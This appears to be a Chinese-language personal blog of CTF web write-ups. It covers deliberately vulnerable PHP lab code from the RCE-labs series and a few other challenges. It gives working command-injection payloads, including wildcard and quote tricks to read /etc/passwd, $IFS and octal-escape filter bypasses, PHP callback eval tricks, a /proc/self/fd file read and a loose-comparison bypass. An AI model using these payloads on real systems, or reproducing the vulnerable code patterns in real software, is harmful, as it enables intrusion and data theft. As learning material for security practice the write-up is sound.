从零开始的CTF探险!

以此文记录我在学习CTF中的心路历程,日拱一卒,功不唐捐。

一、WEB学习目录

工具篇:

WEB的常用工具有: BurpSuite(一款常用的抓包工具,应用广泛,文件上传必不可少的利器) Hackerbar(浏览器插件,传参的好帮手) 蚁剑(连接工具) 还有许许多多的部署在Linux上的工具,……这里的东西就以后再来探索吧() ### 拥有了入门的工具,就可以步入WEB的世界力(喜)

WEB包括哪些内容:

1.文件包含 2.文件上传

[!NOTE]

更新:2026年3月8日

慢慢意识到自己当初基础非常的薄弱,以前也没怎么好好刷题

这个博客用来记录从零开始学web的做题记录

CTF show

web签到题

F12 查看前端,在HTML中看到base64加密的flag

RCE-labs-level4

<?
/*
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"
*/

function hello_server($ip){
    system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

在这道题中,默认只有传递 ip||ls 可以成功执行,原因是 Payload在到达服务器并最终执行的过程中,经过了HTTP 解析层 和 Linux Shell 逻辑层 的双重处理,在 URL 中,& 符号有着特殊含义,它是不同 GET 参数之间的分隔符,所以在传递的时候必须将&进行URL编码才能执行成功,;同理。

RCE-labs-level5

<?
/*
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...

*/

function hello_shell($cmd){
    if(preg_match("/flag/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>

payload: ?cmd=cat /f*

RCE-labs-level6

<?

function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这道题可以用上面的通配符进行绕过,可以看到这里过滤了除了字母a和数字以外所有的大小写字母,没过滤/ 所以可以cmd=/???/?a? /??a? 用于匹配根目录下三个字符的目录(如 /bin/etc)中,文件名长度为三个字符且中间字符为 a 的文件,常见的有 /bin/cat/bin/tar/bin/man 等。

/??a?:匹配根目录下四个字符的文件名,且第三个字符为 a,即/flag,用这个会输出很多其他的东西;

也可以使用/???/?a??64 /??a?,即/bin/base64 /flag这个能只匹配到/flag,然后使用base64输出

/bin 目录是存放系统启动和单用户模式下必需的核心可执行文件,这些文件对所有用户(包括普通用户和 root)都可用,包含最基础的命令,如 ls(列出目录)、cp(复制文件)、mv(移动文件)、sh(Shell 解释器)等。

RCE-labs-level7

<?
/*
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/

function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

payload : ?cmd=cat$IFS/f*

RCE-labs-level2

<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
*/
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

flag放进了变量$flag中,random_func中的函数都是可以通过回调等方式进行输出flag的值

官方WP中是这样写的:

函数

说明

示例代码

${}

用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。

eval('${flag}');
eval()

用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。

eval('echo $flag;');
assert()

测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。

assert(print_r($flag));
call_user_func()

用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。

call_user_func('print_r', $flag);
create_function()

创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。

create_function('$a', 'echo $flag;')($a);
array_map()

将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。

array_map(print_r($flag), $a);
call_user_func_array()

调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。

call_user_func_array(print_r($flag), array());
usort()

对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。

usort($a,print_r($flag));
array_filter()

过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。

array_filter($a,print_r($flag));
array_reduce()

迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。

array_reduce($a,print_r($flag));
preg_replace()

执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。

preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()

ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。

ob_start(print_r($flag));

RCE-labs-level9

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

payload: ?cmd=$'\143\141\164' $'\57\146\154\141\147'

RCE-labs-level10

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

青岑/web入门/basic_14

<?php
highlight_file(__FILE__);
$flag = fopen('/admin_secret.txt', 'r');
if (isset($_GET['filename']) && strlen($_GET['filename']) < 17) {
  readfile($_GET['filename']);
} else {
  echo "The filename parameter does not exist or the filename is too long";
}

?> 

最开始我尝试的方向是绕过strlen()函数,通过搜索得知当传递数组时会抛出 Warning 警告,函数返回 null,此时长度的限制似乎是绕过了,但readfile()无法解析数组

后来问了AI,得知这道题的考点是 Linux /proc文件系统与文件描述符的利用:

由于:

$flag = fopen('/admin_secret.txt', 'r');

这行代码的作用是以只读方式打开目标文件,并将文件句柄赋值给 $flag.在脚本执行期间,这个文件处于被打开的状态.

在Linux系统中,当一个进程打开一个文件时,系统会在 /proc/self/fd/目录下为该文件创建一个符号链接,链接的名称及是文件描述符( File Descriptor) 的数字.

所以这里目标文件以及被当前PHP进程打开,我们只需要读 /proc/self/fd 加对应的数字,就可以读取admin_secret.txt

所以可以?filename=/proc/self/fd/1 从1开始一直试 就能拿到flag

另外,也可以用?filename=/dev/fd/来读取

因为/dev/fd本质是/proc/self/fd的软链接(快捷方式),在linux系统中,/dev/fd是一个指向/proc/self/fd的符号链接

ls -l /dev/fd
lrwxrwxrwx root root 13 B Fri Jun 19 09:52:23 2026  /dev/fd ⇒ /proc/self/fd

所以如果字符长度进一步限制的话,就可以使用/dev/fd来读文件了.

青岑/web入门/ezphp_2

<?php
show_source(__FILE__);
include("flag.php");
if (!isset($_GET['qc']) || $_GET['qc'] === '') exit("no");
$qc = (array)json_decode($_GET['qc'], true);
if (!isset($qc["n"]) || !is_array($qc["n"]) || empty($qc["n"])) die("no");
if (array_search("QCCTF", $qc) === false) die("no...");
if (array_search("QCyyds", $qc["n"]) === false) die("no...");
foreach ($qc["n"] as $val) {
    if ($val === "QCyyds") die("no......");
}
echo $flag;

代码逻辑分析

我们要拿到 $flag,必须依次绕过以下几个检查:

  1. 存在且非空:qc 参数必须存在且不能是空字符串。
  2. JSON 解码与结构:qc 必须是一个合法的 JSON 字符串,解码后必须包含键 "n",且 "n" 的值必须是一个非空数组。
  3. 顶层查找 “QCCTF”:array_search("QCCTF", $qc) === false 会返回假(即必须找到)。这意味着在 $qc 这个数组中,必须有一个值等于 "QCCTF"
  4. 内层查找 “QCyyds”:array_search("QCyyds", $qc["n"]) === false 同理,在 $qc["n"] 数组中,必须有一个值等于 "QCyyds"
  5. 严格排除 “QCyyds”:foreach 循环检查 $qc["n"] 中不能存在全等于 (===) 字符串 "QCyyds" 的元素。

这里的关键在于 array_search() 函数。在 PHP 中,array_search() 默认使用的是松散比较 (==)。

在 PHP 松散比较中,任何字符串与数字 0 比较时,字符串会被强制转换为数字。而非数字开头的字符串(如 "QCCTF", "QCyyds")转换成数字后就是 0

因此:

  • 0 == "QCCTF" 结果为 True
  • 0 == "QCyyds" 结果为 True

但是,全等于比较时类型不同:

  • 0 === "QCyyds" 结果为 False

根据以上分析,我们可以用整数 0 来代替字符串,完美绕过所有的 array_searchforeach 限制。

我们需要构造的 PHP 数组结构如下:

$qc = [
    "n" => [0],  // "n" 是一个包含 0 的数组。0 == "QCyyds" 为真,但 0 === "QCyyds" 为假。
    "x" => 0     // 随便给一个顶层键,值为 0,用于绕过 0 == "QCCTF"。
];

将这个数组转为 JSON 字符串:

{"n":[0],"x":0}

将这个 JSON 字符串作为 qc 参数的值发送

最终 GET 请求:

?qc={"n":[0],"x":0}

当你传入 ?qc={"n":[0],"x":0} 时:

  1. isset($_GET['qc']) 为真,非空,继续。
  2. json_decode 解析成功,$qc["n"] 是数组 [0],非空,继续。
  3. array_search("QCCTF", $qc):在 $qc 的值([0]0)中找 "QCCTF"。因为 0 == "QCCTF" 为真,找到了,返回键名,不等于 false,继续。
  4. array_search("QCyyds", $qc["n"]):在 $qc["n"] 的值(0)中找 "QCyyds"。因为 0 == "QCyyds" 为真,找到了,返回键名 0,不等于 false,继续。
  5. foreach 循环:检查 $qc["n"] 中的元素 0 是否 === "QCyyds"。因为 0 === "QCyyds" 为假,不退出,继续。
  6. 成功走到 echo $flag;
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计